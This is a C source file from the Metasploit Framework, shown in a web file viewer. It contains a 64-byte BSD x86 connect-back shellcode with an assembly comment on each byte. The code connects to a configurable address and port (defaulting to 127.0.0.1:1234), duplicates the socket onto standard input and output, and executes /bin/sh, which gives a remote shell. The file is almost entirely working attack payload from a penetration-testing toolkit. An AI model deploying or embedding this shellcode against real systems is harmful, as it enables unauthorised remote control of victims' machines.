CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-cntsockcode.c
Views: 11766
1
/*
2
* bsd-x86-cntsockcode.c
3
* Copyright 2004 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#define CNTSOCKADDR 1
22
#define CNTSOCKPORT 8
23
24
char cntsockcode[]= /* 64 bytes */
25
"\x68\x7f\x00\x00\x01" /* pushl $0x0100007f */
26
"\x68\xff\x02\x04\xd2" /* pushl $0xd20402ff */
27
"\x89\xe7" /* movl %esp,%edi */
28
"\x31\xc0" /* xorl %eax,%eax */
29
"\x50" /* pushl %eax */
30
"\x6a\x01" /* pushl $0x01 */
31
"\x6a\x02" /* pushl $0x02 */
32
"\x6a\x10" /* pushl $0x10 */
33
"\xb0\x61" /* movb $0x61,%al */
34
"\xcd\x80" /* int $0x80 */
35
"\x57" /* pushl %edi */
36
"\x50" /* pushl %eax */
37
"\x50" /* pushl %eax */
38
"\x6a\x62" /* pushl $0x62 */
39
"\x58" /* popl %eax */
40
"\xcd\x80" /* int $0x80 */
41
"\x50" /* pushl %eax */
42
"\x6a\x5a" /* pushl $0x5a */
43
"\x58" /* popl %eax */
44
"\xcd\x80" /* int $0x80 */
45
"\xff\x4f\xe8" /* decl -0x18(%edi) */
46
"\x79\xf6" /* jns <cntsockcode+34> */
47
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
48
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
49
"\x89\xe3" /* movl %esp,%ebx */
50
"\x50" /* pushl %eax */
51
"\x54" /* pushl %esp */
52
"\x53" /* pushl %ebx */
53
"\x50" /* pushl %eax */
54
"\xb0\x3b" /* movb $0x3b,%al */
55
"\xcd\x80" /* int $0x80 */
56
;
57
58
59